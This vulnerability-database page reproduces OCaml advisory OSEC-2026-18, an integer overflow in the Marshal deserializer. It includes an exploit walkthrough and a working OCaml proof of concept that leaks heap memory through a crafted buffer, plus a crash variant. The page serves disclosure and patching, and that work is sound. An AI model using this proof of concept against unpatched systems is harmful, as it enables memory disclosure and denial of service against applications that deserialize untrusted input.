OSEC-2026-18 (CVE-2026-28364)
Vulnerability from osv_ocaml – Published: 2026-09-10 10:00 – Updated: 2026-11-06 12:30 – Source websiteAn integer overflow in the length-validation logic of OCaml's Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing heap out-of-bounds reads from Marshal.from_bytes / Marshal.from_string (and the C API caml_input_value_from_block).
Root cause
runtime/intern.c validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:
/* caml_input_val_from_bytes, intern.c:1038 */
if (ofs + h.header_len + h.data_len > caml_string_length(str))
caml_failwith("input_val_from_string: bad length");
h.data_len is fully attacker-controlled (8-byte field read straight from the stream for Intext_magic_number_big). With data_len >= 2^64 - (ofs + h.header_len), the sum wraps to a small value and the check passes.
The CVE-2026-28364 fix introduced:
/* intern.c:1043 (added by the fix) */
s->intern_src_end = s->intern_src + h.data_len; /* wraps to a pointer BEFORE the buffer */
intern_src_end wraps to a location before intern_src, so every intern_check_read() bound added by the fix (len > end - src with a negative diff promoted to a huge uintnat) evaluates false for any realistic length. The parser (intern_rec) then honors attacker-controlled read lengths (readblock up to Max_wosize bytes) against memory far beyond the input buffer.
The OCaml-side wrapper validation in stdlib/marshal.ml is bypassed by the same wrap, via caml_marshal_data_size (intern.c:1116-1150):
return Val_long((header_len - 16) + data_len); /* wraps to 0 / negative */
Marshal.from_bytes (marshal.ml:55-62) calls data_size_unsafe first, gets a wrapped len (0 or negative), and its re-check ofs > Bytes.length buff - (header_size + len) passes.
The same unchecked wrap exists in caml_input_value_from_buffer (intern.c:1080), used by the public C API caml_input_value_from_block and caml_input_value_from_malloc - these have no OCaml-side validation at all.
Exploit path
- Craft 32-byte header:
Intext_magic_number_big+ 4 padding bytes +data_len = 2^64 - 16+num_objects = 0+whsize = 0. - Append a valid object code byte stream (e.g., a "small string" code
0x3F= 31 bytes, orCODE_STRING32with an arbitrary length). - Call
Marshal.from_bytes buf 0(orMarshal.from_string). data_size_unsafereturns 0; OCaml-side check passes.- C-side check
0 + 32 + (2^64-16) = 16 > lenpasses (wrapped). intern_src_endwraps tobuf + 16; allintern_check_readpass.intern_recexecutesreadblock(s, dest, len)with attacker-chosenlen,memcpy-ing heap memory past the buffer end into the returned string (info leak), or a hugelen(SIGBUS/SIGSEGV, DoS).
Proof of concept
Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), ocamlopt.
1. Heap information disclosure (clean, no crash)
let () =
let buf = Bytes.create 40 in
Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95);
Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf);
for i = 4 to 7 do Bytes.set buf i '\000' done;
for i = 8 to 15 do Bytes.set buf i '\xff' done;
Bytes.set buf 15 (Char.chr 0xf0); (* data_len = 2^64 - 16 *)
for i = 16 to 31 do Bytes.set buf i '\000' done; (* num_objects = whsize = 0 *)
Bytes.set buf 32 (Char.chr 0x3f); (* small string, len 31 *)
for i = 33 to 39 do Bytes.set buf i 'A' done; (* only 7 real bytes follow *)
let s : string = Marshal.from_bytes buf 0 in
Printf.printf "len=%d content=%S\n" (String.length s) s
Output (24 bytes past the 40-byte buffer leaked into the returned string):
len=31 content="AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\000\000\000\000\152\018\001\003\001\000\000\000"
2. Denial of service (crash)
Same header; stream byte 32 = 0x0A (CODE_STRING32), big-endian 0x40000000 (1 GB) length, 37-byte buffer:
$ ./crash; echo "exit=$?"
exit=138 (128 + SIGBUS)
Timeline
- 2026-08-15: report to security@ocaml.org
- 2026-08-25: patch developed
- 2026-09-03: patch merged into trunk, 5.5, and 4.14 branches
- 2026-09-05: release of OCaml 5.5.1
- 2026-09-10: advisory published
{
"affected": [
{
"ecosystem_specific": {
"opam_constraint": "ocaml {\u003c \"4.14.4\" | \u003e= \"5\" \u0026 \u003c \"5.5.1\"}"
},
"package": {
"ecosystem": "opam",
"name": "ocaml",
"purl": "pkg:opam/ocaml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.14.4"
}
],
"type": "ECOSYSTEM"
},
{
"events": [
{
"introduced": "5"
},
{
"fixed": "5.5.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.07",
"3.07+1",
"3.07+2",
"3.08.0",
"3.08.1",
"3.08.2",
"3.08.3",
"3.08.4",
"3.09.0",
"3.09.1",
"3.09.2",
"3.09.3",
"3.10.0",
"3.10.1",
"3.10.2",
"3.11.0",
"3.11.1",
"3.11.2",
"3.12.0",
"3.12.1",
"4.00.0",
"4.00.1",
"4.01.0",
"4.02.0",
"4.02.1",
"4.02.2",
"4.02.3",
"4.02.4",
"4.03.0",
"4.03.1",
"4.04.0",
"4.04.1",
"4.04.2",
"4.04.3",
"4.05.0",
"4.05.1",
"4.06.0",
"4.06.1",
"4.06.2",
"4.07.0",
"4.07.1",
"4.07.2",
"4.08.0",
"4.08.1",
"4.08.2",
"4.09.0",
"4.09.1",
"4.09.2",
"4.10.0",
"4.10.1",
"4.10.2",
"4.10.3",
"4.11.0",
"4.11.1",
"4.11.2",
"4.11.3",
"4.12.0",
"4.12.1",
"4.12.2",
"4.13.0",
"4.13.1",
"4.13.2",
"4.14.0",
"4.14.1",
"4.14.2",
"4.14.3",
"5.0.0",
"5.0.1",
"5.1.0",
"5.1.1",
"5.1.2",
"5.2.0",
"5.2.1",
"5.2.2",
"5.3.0",
"5.3.1",
"5.4.0",
"5.4.1",
"5.4.2",
"5.5.0"
]
},
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "928e7c8a950db8730e8e84105d3be347cae38f5c"
}
],
"repo": "https://github.com/ocaml/ocaml",
"type": "GIT"
},
{
"events": [
{
"introduced": "0"
},
{
"fixed": "304654884d0c90b2e4ab673ff88caef38b05c714"
}
],
"repo": "https://github.com/ocaml/ocaml",
"type": "GIT"
},
{
"events": [
{
"introduced": "0"
},
{
"fixed": "428288660cc1f655605347e09e2fbc0b0a404660"
}
],
"repo": "https://github.com/ocaml/ocaml",
"type": "GIT"
}
]
}
],
"aliases": [
"CVE-2026-28364"
],
"credits": [
{
"name": "Akshay M Singh",
"type": "REPORTER"
},
{
"name": "Xavier Leroy",
"type": "REMEDIATION_DEVELOPER"
},
{
"name": "Nicol\u00e1s Ojeda B\u00e4r",
"type": "REMEDIATION_REVIEWER"
},
{
"name": "Antonin D\u00e9cimo",
"type": "REMEDIATION_REVIEWER"
},
{
"name": "Hannes Mehnert",
"type": "COORDINATOR"
}
],
"database_specific": {
"cwe": [
"CWE-190",
"CWE-125"
],
"human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-18.md",
"osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-18.json"
},
"details": "An integer overflow in the length-validation logic of OCaml\u0027s Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing **heap out-of-bounds reads** from `Marshal.from_bytes` / `Marshal.from_string` (and the C API `caml_input_value_from_block`).\n\n## Root cause\n\n`runtime/intern.c` validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:\n\n```c\n/* caml_input_val_from_bytes, intern.c:1038 */\nif (ofs + h.header_len + h.data_len \u003e caml_string_length(str))\n caml_failwith(\"input_val_from_string: bad length\");\n```\n\n`h.data_len` is fully attacker-controlled (8-byte field read straight from the stream for `Intext_magic_number_big`). With `data_len \u003e= 2^64 - (ofs + h.header_len)`, the sum wraps to a small value and the check passes.\n\nThe CVE-2026-28364 fix introduced:\n\n```c\n/* intern.c:1043 (added by the fix) */\ns-\u003eintern_src_end = s-\u003eintern_src + h.data_len; /* wraps to a pointer BEFORE the buffer */\n```\n\n`intern_src_end` wraps to a location *before* `intern_src`, so every `intern_check_read()` bound added by the fix (`len \u003e end - src` with a negative diff promoted to a huge `uintnat`) evaluates **false** for any realistic length. The parser (`intern_rec`) then honors attacker-controlled read lengths (`readblock` up to `Max_wosize` bytes) against memory far beyond the input buffer.\n\nThe OCaml-side wrapper validation in `stdlib/marshal.ml` is bypassed by the same wrap, via `caml_marshal_data_size` (intern.c:1116-1150):\n\n```c\nreturn Val_long((header_len - 16) + data_len); /* wraps to 0 / negative */\n```\n\n`Marshal.from_bytes` (marshal.ml:55-62) calls `data_size_unsafe` first, gets a wrapped `len` (0 or negative), and its re-check `ofs \u003e Bytes.length buff - (header_size + len)` passes.\n\nThe same unchecked wrap exists in `caml_input_value_from_buffer` (intern.c:1080), used by the public C API `caml_input_value_from_block` and `caml_input_value_from_malloc` - these have no OCaml-side validation at all.\n\n## Exploit path\n\n1. Craft 32-byte header: `Intext_magic_number_big` + 4 padding bytes + `data_len = 2^64 - 16` + `num_objects = 0` + `whsize = 0`.\n2. Append a valid object code byte stream (e.g., a \"small string\" code `0x3F` = 31 bytes, or `CODE_STRING32` with an arbitrary length).\n3. Call `Marshal.from_bytes buf 0` (or `Marshal.from_string`).\n4. `data_size_unsafe` returns 0; OCaml-side check passes.\n5. C-side check `0 + 32 + (2^64-16) = 16 \u003e len` passes (wrapped).\n6. `intern_src_end` wraps to `buf + 16`; all `intern_check_read` pass.\n7. `intern_rec` executes `readblock(s, dest, len)` with attacker-chosen `len`, `memcpy`-ing heap memory past the buffer end into the returned string (info leak), or a huge `len` (SIGBUS/SIGSEGV, DoS).\n\n## Proof of concept\n\nTested on: macOS arm64, OCaml 5.5.0 (Homebrew), `ocamlopt`.\n\n### 1. Heap information disclosure (clean, no crash)\n\n```ocaml\nlet () =\n let buf = Bytes.create 40 in\n Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95);\n Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf);\n for i = 4 to 7 do Bytes.set buf i \u0027\\000\u0027 done;\n for i = 8 to 15 do Bytes.set buf i \u0027\\xff\u0027 done;\n Bytes.set buf 15 (Char.chr 0xf0); (* data_len = 2^64 - 16 *)\n for i = 16 to 31 do Bytes.set buf i \u0027\\000\u0027 done; (* num_objects = whsize = 0 *)\n Bytes.set buf 32 (Char.chr 0x3f); (* small string, len 31 *)\n for i = 33 to 39 do Bytes.set buf i \u0027A\u0027 done; (* only 7 real bytes follow *)\n let s : string = Marshal.from_bytes buf 0 in\n Printf.printf \"len=%d content=%S\\n\" (String.length s) s\n```\n\nOutput (24 bytes past the 40-byte buffer leaked into the returned string):\n\n```\nlen=31 content=\"AAAAAAA\\000\\000\\000\\000\\000\\000\\007\\000\\b\\000\\000\\000\\000\\000\\000\\152\\018\\001\\003\\001\\000\\000\\000\"\n```\n\n### 2. Denial of service (crash)\n\nSame header; stream byte 32 = `0x0A` (`CODE_STRING32`), big-endian `0x40000000` (1 GB) length, 37-byte buffer:\n\n```\n$ ./crash; echo \"exit=$?\"\nexit=138 (128 + SIGBUS)\n```\n\n## Timeline\n\n- 2026-08-15: report to security@ocaml.org\n- 2026-08-25: patch developed\n- 2026-09-03: patch merged into trunk, 5.5, and 4.14 branches\n- 2026-09-05: release of OCaml 5.5.1\n- 2026-09-10: advisory published",
"id": "OSEC-2026-18",
"modified": "2026-11-06T12:30:00Z",
"published": "2026-09-10T10:00:00Z",
"references": [
{
"type": "FIX",
"url": "https://github.com/ocaml/ocaml/pull/15019"
},
{
"type": "FIX",
"url": "https://github.com/ocaml/ocaml/pull/15030"
}
],
"related": [
"OSEC-2026-01"
],
"schema_version": "1.7.4",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Marshal integer overflow leads to out-of-heap read"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.